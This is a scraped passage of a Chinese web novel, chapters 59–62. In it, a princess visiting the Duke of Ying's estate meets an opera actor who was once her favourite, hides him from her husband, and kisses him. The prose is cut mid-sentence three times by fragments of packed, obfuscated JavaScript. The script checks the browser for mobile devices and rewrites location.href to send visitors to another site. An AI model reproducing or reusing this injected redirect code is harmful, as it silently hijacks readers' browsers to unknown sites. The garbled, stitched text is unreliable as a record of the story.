“行了,我身子不好久坐不得,你们舟车劳顿也需要休息。今晚会有宴席,届时还有诸多客人到场,阿庆只当是在自己家中,好好玩便是了。” 苻庆点头,与杜至善跟着婢女走去了后院厢房。 59. 重逢 看来英国公府在设计时着实是考虑过英国公的身体情况,整个府中不论去哪里都鲜有台阶。虽说种了许多竹子遮挡视线,不至于一进入后院便能够一览无余,但总体来说并没有京城达官显贵们喜爱的那种高低错落有致的风格。 婢女将苻庆与杜至善带到厢房门口,“公主居住的听松居是国公爷特意选择的,国公爷说公主喜欢阳光,便让府里选了光照最好的一处。” 苻庆笑着点头。 “再往前走便是今晚举办宴席的柳塘舫了,待宴席要开始时会有人前来请公主及驸马过去。” 苻庆的眼睛左右张望,“那前面那处厢房有人住吗?” 婢女回身看了一眼,点头说道:“有的,那个院子是国公爷为宁国公夫妇准备的。” “宁国公?那你知道瑕英长公主此次会过来吗?” “这奴婢就不知道了。” 这确实有些强人所难了,苻庆不再询问,道过谢后让婢女退下了。 “走吧,进去看看。” 看着苻庆走在前头,杜至善有些欲言又止,最终还是决定开口道:“公主,既然这厢房是英国公为你准备的,我便还是再选一处别的地方住吧。” 苻庆回头看了一杜至善一眼,这才意识到对方究竟在说什么。但苻庆并不着急解释,而是带着杜至善走进了厢房内。 松醪此时已经将带来的衣物等放入了厢房的衣柜之中,又将各式东西一应收拾好。见苻庆走进来,迎上前问道:“公主看看,可还有要整理的地方?” 苻庆伸手指了指站在身后的杜至善,“松醪,带杜博士去看看他的卧室。” 松醪微笑,领着杜至善走到一旁暖阁之中,走过一扇屏风,赫然看见决明正在里头整理床榻。 “驸马爷,委屈您了。” 杜至善回身看去,苻庆就站在屏风外,身姿影影绰绰地投射在屏风上。 “这样就行吗?” “怎么不行?”苻庆绕过屏风走进来,“杜至善,难不成你还要住到院子里去?” 其实杜至善对于同住一屋是没什么抵触的,只没想到苻庆如此坦然,相比之下却显得他有些斤斤计较。 “我自然不会觉得有什么。”杜至善转过身背对着苻庆,“公主,您多虑了。” 苻庆当然能够看出来杜至善是在嘴硬还是真心,一时间也有些烦躁。这间厢房确实不大,苻庆此时实在不想跟杜至善站在同一屋檐下,便转身走了出去。 松醪连忙跟了上来。 “没什么,我自己出去走走。”苻庆回身安慰了松醪一句。 松醪其实明白苻庆并不是仅仅因为与杜至善的这句话说得不太对付,她的情绪在今日看到英国公之后便已经有些不对了,松醪想说点什么安慰又无能为力,在确定苻庆状态确实还可以后,便放任苻庆自己走了出去。 英国公府的花园很是空旷,苻庆走了一会觉得没意思,不经意间一瞥却发现自己已经走到了柳塘舫附近,想着那边此时应该正热闹着,便信步往柳塘舫走去。 刚走进园子,苻庆便差点被抬箱子的小厮碰到。苻庆刚愣了一会神,便有一个小厮模样的人走过来,邀请苻庆到抄手游廊下陪英国公说话。 苻庆一抬头,果不其然看见英国公的轮椅停在不远处,而英国公正向自己招手。 “大伯怎么没回去休息?” “请的戏班子刚到,我过来看看。” “戏班子?”苻庆脑子中闪过一个不好的念头,随即又被她立刻掀过了。“大伯还是这么爱热闹。” 英国公被戳中心事,嘿嘿笑起来。“还是你了解我,我啊,就喜欢热热闹闹的。” 苻庆笑着看向正搬着箱子走进来的小厮们,那些箱子看起来有些沉,两个人搬着也有些许费劲。 “不过我远离京城太久,也不知道现在京城最红火的戏班子是哪个。这次还是我的管家现去京城问了一圈,我们才最终定下了这一家。管家回来说,这个戏班子最近在京城可有名了,好多达官贵人都会慕名请他们唱戏呢,也不知道你听说过没有?” 苻庆只感觉自己的眉毛跳了两下,“京城出名的戏班子还挺多的,不知大伯请的是哪一家?” “好像叫什么和春班,你听过吗?” 苻庆只感觉自己这运气实在不好,朱雀桥那边那么多家戏班子,怎么英国公府管家偏偏就打听到和春班了呢? 然而苻庆不知道的是,正是因为和春班最近重新登台了一个从公主府中走出去的面首,朱雀桥那边才会街头巷尾都在议论。可惜英国公府这管家只听到了前半句和春班有名,却没听到后半句这和春班是因为什么出的名。 苻庆此时心中还有些侥幸心理,毕竟英国公年纪大了,原先还在沙场征战过,肯定只喜欢看一些热闹的戏。程怜香一个唱旦角的,总不会跟着过来。 然而下一霎,一个熟悉的身影已经从人群中走了过来。 “在下见过英国公。” “这便是程老板吧?”英国公笑起来的时候胡子一翘一翘的,“竟然如此年轻,还真是后生可畏啊!” “国公爷谬赞。”程怜香轻轻拱手,“其实和春班的班主是我师父,但不巧我师父前两日得了风寒无法前来,这才让我代为过来为国公爷贺寿,在下名叫程怜香。” “那程伶人也必然是很得程班主器重,否则也不可能选你代为过来。”英国公还是第一次见到这么细皮嫩肉的小男孩,“不瞒您说,我还是第一次见到像您这么白的后生,一看就觉得您是唱戏的好手。”英国公刚说完,忽然想起来身旁还站着一个苻庆。 “哎阿庆,你怎么背对着人啊。这可没礼貌,你快转过来看看,程伶人长得是真白净啊。” 他白不白净难道我能不知道吗?苻庆在心中绝望地想着,却没有办法,最终只能认命转过身来。 “程伶人好。” 不夸张的说,程怜香在原地愣了好几个呼吸。 “还是我来介绍一下吧,这是璇玉长公主,小时候在我身边长大的。”英国公本已经程怜香不说话是不知道该称呼苻庆什么,谁知自己说完后对方还是呆呆地站在原地。 这便是有些冒犯了,更何况说到底程怜香也是一个外男。英国公心中有些愠怒,因此重重地咳嗽了两声。 这两声咳嗽终于把程怜香带回了现实,“在下见过长公主殿下。” 苻庆礼貌地笑一笑,“这是在我大伯府上,你也算是我大伯的客人,不必客气。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446149|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >见程怜香说话很是客气,英国公的心情又重新变得舒畅。 “阿庆,你在京城中住的时间久,可有听过程伶人的戏吗?快跟我讲讲,程伶人是不是唱的很不错?” 听了这话,程怜香的眼睛立刻看向苻庆,他紧紧地注视着苻庆,等待着苻庆开口。 他当然知道苻庆不可能在英国公面前讲出自己曾经是公主府面首的事情,因此对于苻庆的谎话很是期待,他很想知道苻庆会怎么提及他们二人的相识。 “我没听过。”苻庆回答得干脆利索。“大伯,我也是刚出宫不久,平日里只能听宫中梨园排的戏,怎么有机会见过民间的戏班子呢?” 英国公拍着脑袋感慨,“对对对,你看我这脑子。行,既然你也没听过,那明日咱们祖孙两人便一起好好听一听程伶人的水平。” 苻庆假装感受不到程怜香的眼睛向自己投射过来的火星子,微笑着对英国公说:“是,大伯。” 英国公完全没有看出来什么异样,还有些奇怪程怜香怎么一直站在这不说话,“程伶人,你不用去后头看着他们搬箱子吗?” 程怜香只感觉自己咬着后槽牙才能勉强挤出一句话,“那我就先退下了。” 苻庆看着程怜香一步三回头地走远,而她昂首挺胸站在英国公身边好像一只雄赳赳气昂昂的大公鸡。 虽说被程怜香的出现打了个措手不及,但苻庆的心理素质还是比较过关的。程怜香走后,苻庆又陪着英国公在原地聊了一会,英国公还是如同原先一般健谈,对什么都很感兴趣。也因此,苻庆才会更加难过这样一个人现在居然只能坐在轮椅上。 距离晚上的宴席还有一个时辰,苻庆与英国公告别,回去听松居找松醪换衣服。 本以为杜至善会在厢房中,没想到回去时房中竟只有松醪自己,苻庆有些意外。松醪看着苻庆回来后在屋中探头探脑的样子便知道对方在想什么,一边取出苻庆要穿的衣服一边说道:“公主别找了,驸马爷早就出去了。 “出去?他去哪里了?” “驸马爷说屋子了闷得慌,要出去走走。” “走走?”苻庆脑子中立刻浮现出了自己在柳塘舫见到的人,一拉拉住松醪的手说道:“松醪,我碰见程怜香了。” “程伶人?”松醪的表情说不上是惊讶还是高兴,“这么说,国公爷请的戏班子竟是和春班?” 苻庆点头,接着一屁股坐在圈椅中,仰面看向天花板。 松醪趁机将苻庆头上的珠钗一件件取下,嘴上问道:“公主这是怎么了?不就是遇见程伶人了,这有什么不好的吗?” 苻庆扭过头看向松醪,却发现对方的嘴角微微撇着,一看便是憋着想笑的样子,苻庆立即反应过来对方是揣着明白装糊涂。 “松醪,你什么时候这么坏了!” 松醪终于忍不住露出个笑脸,伸手轻轻拍着苻庆的肩膀安抚道:“公主,奴婢只是觉得即便遇见了也没什么不好的,至少这还能说明和春班现在在京城之中已经算得上是数一数二的戏班子了,要不然怎么会被国公府选中呢?公主您现在不应该替程伶人高兴吗?” “我本来是替他高兴来着,结果大伯突然问我认不认识他。”苻庆咬了下嘴唇,“我说不认识。” 60. 人影 松醪终于明白了苻庆刚才的叹息是从何而来,她了解苻庆,更知道苻庆虽说在外面是个天不怕地不怕的,但在尊敬的长辈面前却还是很擅长装出一副乖巧懂事的样子来。 英国公是苻坚将军的好友,是看着苻庆长大的大伯,这些年又没有在京中居住,苻庆好容易来到英国公府一趟,自然是不想要被英国公发现什么。 谁能想到,竟然在这里让这一对冤家见着了面。 松醪笑而不语,帮苻庆一件件换好衣服,又从匣子中拿出准备好的头面戴上。 因为是新婚,又是到长辈家贺寿,松醪为苻庆准备的衣服都很是喜庆。今晚苻庆穿了一件桃红色事事如意纹锦的长袖褙子,头发上的玛瑙流苏垂下来,伴随着苻庆的动作微微晃动。 瞧着铜镜中苻庆那张还带着点稚气的脸庞,松醪左看右看只觉得十分满意。 然而苻庆此时已经没有了欣赏自己的闲情逸致,“松醪,你说大伯不会瞧出来什么吧?” 松醪很是平静,“公主,要奴婢说您一直瞒着英国公也是不太可能的。不说旁的,便说住在前院的宁国公和国公夫人,难道您能保证他们不会心血来潮给英国公讲一段来自京城的奇闻轶事?” 苻庆知道松醪说的有道理,也明白她既然做出来了这件事,就要接受后续的所有后果,但说道理的时候是一回事,真的面对现实时又是另一回事了。 而且由于英国公与苻庆的父亲是旧识,苻庆每次见到英国公的时候,都会想起自己的父亲,这也是他今天刚到国公府时心情有些低落的样子。 看着现在被禁锢在轮椅上与这座国公府中的祝大伯,苻庆便会控制不住地更加思念天高地阔的锦西城,也会更加想念自己的父母。 “松醪,我也不明白为什么,反正一想到在大伯面前见到程怜香,我就还是有些不自在。” “公主放心,奴婢知道公主这是怎么了?” 苻庆眨眨眼,“我这是怎么了?” 松醪把耳坠子给苻庆戴上,最后看着铜镜中的苻庆说道:“公主敬重英国公,心中把英国公当作了父亲。现在您是觉得这是同程伶人一起见长辈了吧?” “松醪!”苻庆一惊,“怎么可能?” 松醪也不继续解释,她知道这对于苻庆来说还是要好好想一阵才能够想通的。“公主别着急,您再好好想一想便知道是不是了。” 苻庆嘴上想反驳,心中却抑制不住开始思考松醪所说的话是真是假。 这时外头传来一阵脚步声,原来是柳塘舫的宴席已经准备好。对于苻庆来说这才是更重要的事,因此苻庆呼出两口气让自己平静下来,接着拉着松醪的胳膊往外走去。 待走到柳塘舫,苻庆才发现此处已经焕然一新了。白日里过来的时候苻庆没有发现,原来在这座院落各处都摆放了各式各样的灯笼与烛台,此时蜡烛已经被点亮,远远看去柳塘舫像是被无数萤火虫点亮。 苻庆正站在原地欣赏着,忽然感觉肩膀被不轻不重地撞了一下。苻庆本来还在想又是哪个冒失的下人,谁知一回头却看见一张容貌昳丽的脸蛋出现在眼前。 “宁慈心?” 宁慈心看着苻庆瞠目结舌的表情却只发出一声轻哼,“怎么?几日不见,你已经变成傻子了?” 苻庆翻了个白眼,“我刚还想说是谁这么不长眼,看到你就不奇怪了。” “分明是你先在此挡道的,我撞你只不过是无奈之举。” “人家来来往往都没事,偏偏就你走不过去,我看还是你不长眼睛的可能性更大一些。” 眼见着二人有来有回互不相让,松醪只想着赶紧找个由头分开两人,因为平日里宁慈心带的丫鬟一定是不敢说话的,这种艰巨重任只能落在松醪身上。 谁知还没等松醪想出法子,宁慈心的丫鬟忽然轻轻发出一声咳嗽。 “公主,国公爷夫妇还等着您去给英国公贺寿呢。” “你才是不……”宁慈心忽然噤了声,抿了抿嘴唇,宁慈心仰起头瞥了苻庆一眼,从苻庆身旁走了过去。 这下不只是松醪,连苻庆都意识到了不对劲。 “松醪,那丫鬟我们从前见过吗?” “没有。”松醪的记性一向很好,“奴婢确定,从前跟着瑕英长公主的绝对不是这个丫鬟。” “而且我怎么感觉宁慈心有点害怕她啊?” 松醪也感觉到了。主仆俩对视一眼后,又继续盯着宁慈心与那丫鬟远去的背影,只觉得今天真算是开了眼界。 由于英国公府安排的宴席乃是男女分席,苻庆一直到宴席开始都没有见到杜至善。不过苻庆对于这件事并不在意,反正今晚回去总还是要见到,迟一点见还能少装模作样一会。 女席这边的主座坐的是英国公的夫人,苻庆就坐在她右手边第三位,此时趁对方正在与宁国公夫人说话,悄悄地观察起她来。 之所以需要悄悄地观察,是因为这还是苻庆第一次见到英国公夫人。 虽说苻庆与英国公很是熟悉,但在苻庆的记忆中英国公一直没有妻子。后来长大了一些苻庆才知道,英国公与先夫人乃是青梅竹马,十四岁时便成了婚。但是在生二人第五个孩子的时候,先夫人不幸难产,最终大人和小孩都没有保下来。 先夫人离世后,英国公便一直在边疆镇守不愿回京,外界传言英国公是借此躲避催促他续弦的族中长辈。不过自那之后,英国公确实独身了许多年。 然而在五年前突发疾病后不久,英国公突然宣布续弦,娶了一位比自己小了三十几岁的姑娘。这姑娘苻庆从未见过,只是从薛贵妃的口中听到些只言片语。 据说她原先是为着逃难才来到京城的,晕倒在英国公府门口,被救起后在英国公府做了丫鬟,后来被英国公相中做了续弦。 京城中人提起这件事的时候大多有些轻蔑,毕竟英国公做了半辈子的深情模样,谁知道竟是演的。更何况即便是普通人家,只要略有些地位便不可能选一位如此来历不明的女子做续弦。 苻庆对于此事倒并不在意,她不觉得逃难的平民与达官贵人家的小姐便有什么区别,只是头一回见到这位身世略有些传奇的女子,苻庆还是有些好奇的。 英国公夫人看起来确实很是年轻,长得并不十分好看,也许是因为在一张还很年轻的脸上化了有些成熟的妆容导致的。她好像与宁国公夫人比较熟悉,自从落座便一直在同宁国公夫人说话。 苻庆很喜欢听她说话,她的嗓音温温柔柔的,语速并不很慢,但却不觉得急躁。 不知为何,苻庆在听她说话的时候觉得心中很是安稳。 英国公府的饭菜还算合苻庆口味,不知道是否是因为她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446150|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与英国公都是从锦西城回来所致。由于周围人都不算熟悉,苻庆也少了些与人客套的环节,只是安心吃自己的饭。 夹菜的时候苻庆偶尔会看两眼宁慈心,对方就坐在宁国公夫人旁边。今天的饭菜好像不是很合她的胃口,她几乎没怎么动筷子。 按规矩宁国公身为今日的寿星是要到女席这边敬酒的,苻庆早已经吃饱了,却还是强迫自己坐在位置上等着。谁知酒过三巡都不见宁国公来,不一会倒是有个婢女急匆匆走了过来,在英国公夫人耳边说了几句话。 接着,苻庆便听到英国公夫人轻声对宁国公夫人说道:“国公爷身子有些不适,我去看一看,还劳烦姐姐先帮我招待着客人些。” 苻庆心头一紧,看着英国公夫人快步离开的背影,苻庆心中有些紧张。五年前英国公发病的样子她是亲眼见过的,现下虽然不知道具体情况,但心中还是忍不住担心起来。 饭已经吃饱了,现下也有些坐不住了,苻庆悄悄招手唤过松醪便打算离开。松醪心领神会,走上前扶起苻庆一同往回走去。 站起来之后才感觉到今晚吃的有些多,苻庆抬起头发现今夜月色尚好,因此决定拉着松醪一同在园子中散散步。 英国公府的园子中到处都是假山,到了夜晚瞧上去其实有些阴森。虽说有些月光不假,但洒在这些崎岖的假山之上又是另一番景象。 松醪瞥了一眼不远处的假山,总觉得山上好像有个野兽的形状。更可怕的是,她总觉得自己不论走到哪里,那只野兽的眼睛都在阴森森地盯着自己。 “公主,这园子中没有点蜡烛,咱们还是早些回去吧。” 苻庆笑着转过头看向松醪,一只手安慰地搭在松醪手上。“你害怕了?” 松醪点头,“奴婢听说这晚上的阴暗角落中是藏着东西的,咱们若是一不小心冲撞了他们就不好了。” 苻庆本来还想要往前走,听到松醪这么说也停住了脚步。不一会不知道从何处摸到一块小石子,微微用力摔在了一旁的假山上。 “好,既然你这么说了,咱们便直接回去吧。” 回到听松居,松醪侍奉着苻庆将外裙脱掉。苻庆的头发已经解了下来,现下正自然垂落在苻庆胸前。苻庆拿着一把梳子,正在缓慢地梳理着头发。 “公主,您说英国公也真是奇怪。办个宴席将柳塘舫装扮得如此亮堂,怎么一墙之隔的花园中便连一盏灯都舍不得放,整个园子还全都是假山石,瞧着都要吓死了。” 苻庆微笑,“假山有什么可怕的?从前我在锦西城的时候,还真的见过狼晚上跑到人家里来的呢。” 松醪即便是想到这个场景都哆嗦了一下,“公主还真是胆子大。” “要我说,若真是鬼怪倒还好了,最可怕的是反而不是这些。” “那是什么?” “是人。”苻庆放下梳子,“你刚才在园子里有没有觉得有什么东西在看着我们?” 松醪后知后觉吓了一跳,“公主这样说奴婢想起来了,确实感觉有。奴婢一开始还当是被假山吓到了才会有此幻觉。” “不是幻觉,确实有人盯着我们。”苻庆看向铜镜,说话的时候苻庆的眼神已经逐渐变得凌厉,“只是不知道对方究竟是谁,又是为着什么。” 二人正说着话,苻庆忽然听到窗外传来一声响动。 61. 有贼 见苻庆不说话了,松醪立刻也不再出声。松醪本想要自己走出去查看情况,却被苻庆伸出手拦住了。 “松醪,我这没什么事了,你也赶快下去休息吧。” 松醪眉头一皱,却看苻庆不仅不着急,反而是露出了一抹笑容。 “回去吧。” 虽说不知道苻庆葫芦里卖的是什么药,但以松醪对苻庆的了解,便知道对方是已经有了主意,因此也只能福身走了出去。 离开听松居的时候,松醪还特意在门前停了停,表示自己确实已经离开了。 松醪前脚刚走,苻庆便拿着一根腰带从屋后的窗子悄悄翻了出去。绕到听松居左侧,苻庆果然看见一个人影躲在院子中游廊的柱子后面。 苻庆并未给那个人什么反应的时间,从那人后面快步绕了过去。在靠近那人后,用肩膀将那人撞到柱子上按住,接着用腰带迅速捆住了那人的手腕。 “我……” 苻庆不等他出声,用手果断捂住了对方的嘴,接着压着那人的手腕微微用力,便将那个人推了出去。 “来都来了,怎么不进屋坐坐呢?” 房屋内烛光闪烁,被苻庆扯着走进来的程怜香还有些不适应,低下头眨了眨眼。 “怎么了程伶人?不是你非要来见我的吗?” 程怜香刚才被苻庆捆住的时候以为对方是将自己当作了贼人,此时才明白苻庆从一开始便知道站在窗外的人是自己。 “你,你是故意让松醪走的?” “当然。”苻庆坐在圈椅中,好整以暇地欣赏着自己的杰作。程怜香头发有些凌乱,双手被腰带捆在背后,现下只能一脸羞愤地看着自己。“程怜香,怎么每次咱俩见面你都这副模样呢?” “那你应该考虑下自己的问题!”程怜香挣扎了一下却并没有用处,只能瞪着眼睛对苻庆说道:“快给我解开!” “为什么?” “这像什么样子!”程怜香此时已经有些着急,“苻庆,你别闹了。” “程伶人胆子不小,还敢直呼本公主的名讳。”苻庆站起身走到程怜香身边,看着程怜香气鼓鼓地盯着自己,只觉得心情无比舒畅。“程怜香,我没有闹。” “你这样绑着我还说自己没有闹!”程怜香压低嗓子问道。“这可是在英国公府,会被人看见的。” “看见?”苻庆故意用胳膊蹭着程怜香的背走了过去,“程伶人怕是想多了吧?我在自己的住处附近发现有人鬼鬼祟祟,只能用腰带将对方暂时擒住。你说,这有什么问题吗?” “你!”程怜香这才明白苻庆是将自己当成了来路不明的贼,联想到白天苻庆刚否认过认识自己这件事,便以为苻庆是认真的,有些着急地分辨道:“我不是贼。” “那你鬼鬼祟祟的在我房门外躲着做什么?” “我……”程怜香噤了声,毕竟他确实是来看苻庆的,而看又不能被对方发现,这不是贼又是什么。结巴了两句却没找到合适的词语形容,只能固执地重复道:“我,我就不是贼。” “我看你不仅是贼,还是个笨贼。”苻庆露出一个笑容,“要不然怎么胆敢在英国公府行凶呢?程伶人,你猜猜若是我现在将你交给英国公处理,你会有什么下场呢?” 程怜香白天已经被苻庆撇清关系的态度伤到了,没想到现在私下里只有他们两人,苻庆居然还说这种话。程怜香只觉得一股怒火从心中一直烧到了脑袋,连带着说话声音都大了一些。 “好,既然公主已经认定我是贼,那我还能有什么好说的呢?毕竟像我这样的人在公主眼中,只不过烂命一条罢了,至于会怎么处理我,难道我这种人还有得选吗?” 苻庆本来还想逗一逗程怜香,听到他这样讲便觉得不对,只是不明白程怜香这个不请自来的小贼怎么还有胆量生自己的气。 “程怜香,一个月不见我看你脾气见长啊?明明是你到听松居监视你,怎么现在好像是我的不是了?” “自然不敢说是公主的不是,只不过看来公主还没有失忆,还记得一个月前发生的事情。” 苻庆一愣,反应过来的时候才发现程怜香已经变了眼神,看向自己的时候目光很是坚定。 感觉到压迫感的苻庆不自觉地往后退了一步。 “程怜香,你在说什么?” 程怜香跟着往前走了一步。“我说的当然是我们的好公主做下的事情,难道你能否认吗?你能否认当时是你把我抢进公主府去的,你能否认自己曾经强迫过我?还是说你能够否认一个月前将我的真心践踏于脚下,又在今天装作不认识我的事情?” 苻庆只觉得程怜香已经完全变样子了,他的声音比平日里低沉,每句话都像是哑着嗓子质问出来的。伴随着他一声重过一声的质问,程怜香同时也在一步又一步逼近苻庆,苻庆为了拉开距离只能步步后退,最终竟然被绊倒一屁股坐回到了圈椅上。 “我原以为你也是被迫的,如今才看清楚,投入感情的自始至终都不过是我一个人。公主是金枝玉叶,眼中怎么可能看得到我们这些平民百姓?公主心里指不定还在怎么嘲笑我吧?你是不是觉得真好笑,这些人真是苦日子过久了,怎么随便给一点好就愿意献出真心。” 程怜香俯下身子看着苻庆,虽然嘴上还在说着指责的话,但话中却是隐藏不住的悲伤。这一个月他无时无刻不再思念着苻庆,就连到英国公府来都是他主动请缨,为的就是盼望着有可能再见到苻庆一面。 在英国公府请了和春班后,程班主也确实因为伤寒无法亲自前来。但管家当时与程班主说好的是点几出热闹戏,同时由于英国公征战多年,偏爱的也是例如《单刀会》之类的戏码,根本不会点程怜香擅长的才子佳人戏。 但程怜香在知道对方是英国公后,便忽然想到苻庆曾经提过她手中有英国公府的拜帖。程怜香对于英国公并不了解,但通过这个猜测苻庆应当是与英国公很是熟悉,才会主动要求跟着到英国公府来碰碰运气。 他本想着即便是躲在后台,远远地看上一眼苻庆也是好的。谁知道天意弄人,见是见到了,得到的却是苻庆这样绝情的对待。 程怜香此时才意识到自己有多么愚蠢,苻庆已经成婚了,又是要什么有什么的贵女,大约早已经将自己忘到九霄云外去了。偏偏他还是蠢的,竟然还以为对方还能念一些旧情。 原来在他们之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446151|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,或许根本没有什么旧情。 想到这,程怜香只觉得一口气堵在胸口中不上不下,接着便感觉一阵水汽糊住了眼睛。预感到自己要落下泪来,程怜香赶紧将脑袋撇了过去,事情已经闹成这样,他实在不想让苻庆再看到他的眼泪。 然而就在此时,一阵敲门声忽然响起。 杜至善的声音不疾不徐,“公主,是我,方便把门打开吗?” 程怜香只觉得身上都僵住了,第一反应是赶紧看向苻庆。而后者倒很是从容,从面上也没有看出慌张。 “稍等。” 苻庆还被程怜香挡着,只能先应了一句,接着才站起身。程怜香以为苻庆要去开门,匆忙间用肩膀一顶,又让苻庆坐回到了椅子上。 程怜香压低声音问道:“你要干什么?” “开门啊,你没听见声音吗?”苻庆一脸疑惑,“我夫君就在门外呢。” 眼见着苻庆又要起身,程怜香只能俯下身子将苻庆暂时堵在椅子无法动弹。 “你疯了?苻庆,如果杜至善走进来看见我在这里,你知道他会怎么想吗?” “他会怎么想?”苻庆反问程怜香,“程伶人,我不明白你在说什么,那你说我夫君会怎么想呢?” 程怜香不知道苻庆为什么会这么顺口的称呼杜至善为夫君,也不知道苻庆为什么会如此胆大,还是说她已经如此确信杜至善绝对不会误会她。 “哦,我知道了。程伶人,你是不是担心我夫君看见你之后打你一顿啊?”苻庆的声音慢慢悠悠,每一个字都像是能够掉在程怜香的心脏上。 程怜香艰难地转动眼珠看向苻庆,却发现对方竟然还有心情笑。在程怜香眼中,他只当是苻庆与杜至善已经感情深厚到了此等境地,相比之下他的出现便更是一种自取其辱。 “原来这就是你说不认识我的原因吗?”程怜香喃喃自语,“好,既然如此,我也没什么好执着的了。” 接着,程怜香忽然像被抽去了力气,后退一步让开一条路,垂着头不再说话,像是在等候最后的审判。 敲门声再次响起,大约是门外的杜至善也等得有些着急,这次的语气也急促了一些。 “公主,您还好吗?没出什么事吧?” 苻庆盯着程怜香的样子,他本来就被自己反绞着手,现在的样子更添了一分颓然。他的脸庞还是那么白,眼睛轻轻闭着,纤长的睫毛伴随着敲门声微微颤抖。 程怜香只觉得自己等了一炷香那么漫长,他听到苻庆站起身,离开了圈椅。他不知道接下来迎接自己的将是什么,却能够清楚地感觉到自己的心脏好像被什么重击过,身上沉得仿佛下一霎便要跌倒。 门外的杜至善终于感到有些奇怪,“公主,在下开门进来了。”说着,手已经推开门向屋内走去。 屋子内蜡烛还亮着,但却没看见人影。杜至善一愣,忽然想起来看向苻庆床榻的方向。 “急什么?我这不得先套一件衣服再过来开门吗?” 苻庆长发如瀑,身上只穿了一件粉白色中衣,衣服的系带松松垮垮的,一看便是匆忙穿上的样子。 “你怎么了?出什么事这么着急?” 62. 接吻 杜至善的眼神错过苻庆向后看去,床榻上的纱幔已经放了下来,影影绰绰看不清楚里头的样子。 “没想到公主已经就寝了,多有冒犯还望公主不要见怪。” 苻庆笑着安慰杜至善道:“你我之间何须这样说。” 杜至善这才想起来自己本意是想要说什么,“公主,我是为上午之事特来向您道歉的,今天上午是我太过于急躁了,话语间中伤了公主,还请公主责罚。” 苻庆此时早就忘记了上午自己和杜至善究竟是为着什么吵的架,因此答应得也格外爽快。 “上午的事我亦有不对的地方,今日我的心情不好,你才是被我误伤的人。日后你若再遇到这种情况,早早躲开便好了。” “怎么可能?”杜至善下意识反驳,“我的意思是说,现在我与公主已经成婚,那公主心情不好的时候我自然要陪着你。” 苻庆没想到杜至善居然会如此配合自己,就连这样的话都说得出口。一时憋不住竟然笑了出来,笑过之后才觉得不妥,赶紧找补道:“那我就提前谢过你了。” 杜至善笑一笑当做还礼,接着向公主解释说:“在宴席上我遇见了几位原先一同在国子监编书的旧友,大家久别重逢想要多喝几杯,今晚可能会回来晚一些,公主不必等我,自行安歇便是。” 你不说我也会这么做的。苻庆将真心话憋回去,耐着性子嘱咐道:“那你注意身体,若需要什么,随时让决明回来告诉松醪。” 杜至善点点头,俯身行礼后转身退了出去。 看着杜至善的背影逐渐隐没在夜色中,苻庆重新关上门。 伸手掀开床幔,程怜香侧着倒在床榻上,此时见着苻庆一条腿跪到了床上,程怜香心中一惊,急忙想要站起身,却被苻庆轻轻一推又倒在了床上。 “苻庆!” 苻庆没有再说话,而是伸手解开了自己的中衣系带,接着两条腿都跪到了床上。 程怜香只觉得自己的嗓子都在打颤,“你,你要做什么?苻庆我告诉你,你不能这么做,这样做是不对的!” “为什么我不能这么做?”苻庆一副天真无邪的模样,睁着大眼睛看着程怜香。然而与她天真的神情截然相反的是她已经敞开的中衣,虽说里头还有一层贴身的里衣,但程怜香甚至已经能够从敞开的衣领中看到一根深红色的细带系在苻庆的颈上,那是苻庆的肚兜。 程怜香只觉得这个局促的空间好像变得越来越热,自己的脸也已经越来越烫,连带着身上好像也变得火热起来。一股火从尾椎骨一路向上烧去,烧得程怜香仿佛要失去理智。 “苻庆,你,你不能这样做……你,你已经成婚了。” 从前程怜香最不愿提及的字眼,如今却成为程怜香想要利用来唤醒自己的锥子,他巴望着能通过这些伤人的字眼疼醒自己,好让自己不再继续沉沦下去。 “程怜香,你大晚上的偷偷跑过来找我,不就是为着这件事吗?”苻庆的声音很轻,在程怜香听来却像是带着一种蛊惑,“难道你还真的只是过来与我话家常的?” “我没……我没有……”程怜香已经闭上了眼睛,感觉到苻庆的气息喷在自己的脖子上,他有些难耐地仰起头,露出了最脆弱的喉咙。 看着程怜香的动作,苻庆发出一声闷笑。“你的身体可比你的嘴巴诚实。” “公主,我们不能……我……” 后半句话被程怜香吞回了肚子里。 因为苻庆已经吻上了他的嘴唇。 若说刚才的程怜香还能带着残存不多的理智挣扎一下,现在他已经彻底放弃了反抗。就在这一霎,程怜香已经全然忘却了帷幔外的世界。在这道纱帐隔绝出来的小小天地中,只有他们两个人。也正因为如此,他们能拥有的也只有彼此。 他终于不用再想着横亘在二人中间的阶级差距,也不用在意苻庆与刚才门外那人究竟是否心意相通,更不用在意自己在苻庆心中究竟有没有占下过哪怕一点点位置。 他只知道,起码在现在这一刻,苻庆是只属于他的。而他,也只属于苻庆。 